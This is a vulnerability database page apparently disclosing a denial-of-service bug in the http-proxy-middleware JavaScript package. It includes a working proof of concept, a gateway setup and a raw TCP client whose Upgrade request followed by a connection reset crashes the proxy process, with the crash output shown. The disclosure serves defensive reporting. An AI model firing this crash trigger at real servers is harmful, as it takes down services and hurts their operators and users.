Vulnerability DatabaseGHSA-hvp5-3mrg-q5hg

GHSA-hvp5-3mrg-q5hg: 
JavaScript vulnerability analysis and mitigation

Summary

I used Claude Code (Opus 5.5 + Sonnet 5.5) to help with code analysis, PoC drafting and report writing. I ran every PoC myself and manually verified each finding, and I reviewed the final report before submitting it.

Details

none

Proof of concept

  1. run gateway.js
import http from "http";
import { createProxyMiddleware } from "http-proxy-middleware";
const neverTrigger = () => console.log("neverTrigger");
const proxy = createProxyMiddleware({
  target: "http://example.com",
  pathFilter: "/ws",
  ws: true,
  on: { error: neverTrigger }
});
const server = http.createServer((req, res) => proxy(
  req,
  res,
  () => res.writeHead(404).end()
));
server.on("upgrade", proxy.upgrade);
server.on("error", neverTrigger);
server.on("clientError", neverTrigger);
server.listen(5056, "127.0.0.1");
  1. run client.js
import net from "net";
const socket = net.connect(5056, "127.0.0.1", () => {
  socket.write("GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n");
  setTimeout(() => socket.resetAndDestroy(), 100);
});
  1. gateway process crash
node:events:505
    throw er; // Unhandled 'error' event
    ^
Error: read ECONNRESET
    at TCP.onStreamRead (node:internal/stream_base_commons:221:20)
Emitted 'error' event on Socket instance at:
    at emitErrorNT (node:internal/streams/destroy:170:8)
    at emitErrorCloseNT (node:internal/streams/destroy:129:3)
    at process.processTicksAndRejections (node:internal/process/task_queues:90:21) {
  errno: -54,
  code: 'ECONNRESET',
  syscall: 'read'
}
Node.js v24.22.3

Impact

A remote unauthenticated attacker can crash the whole gateway process with a single Upgrade request and a TCP RST, even when on.error and the server's error and clientError events are all handled.


Source: NVD

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-hvp5-3mrg-q5hgHIGH7.5
  • JavaScript logoJavaScript
  • http-proxy-middleware
NoNoNov 22, 2026
GHSA-mfx2-3f77-8pfwMEDIUMN/A
  • JavaScript logoJavaScript
  • ong-sementes-amanha
NoYesNov 22, 2026
GHSA-cgf8-w36h-48hqMEDIUMN/A
  • JavaScript logoJavaScript
  • ong-sementes-amanha
NoYesNov 22, 2026
GHSA-792c-f5pf-pmxqLOWN/A
  • JavaScript logoJavaScript
  • ong-sementes-amanha
NoYesNov 22, 2026
GHSA-2xr2-jcwr-j926LOWN/A
  • JavaScript logoJavaScript
  • ong-sementes-amanha
NoYesNov 22, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management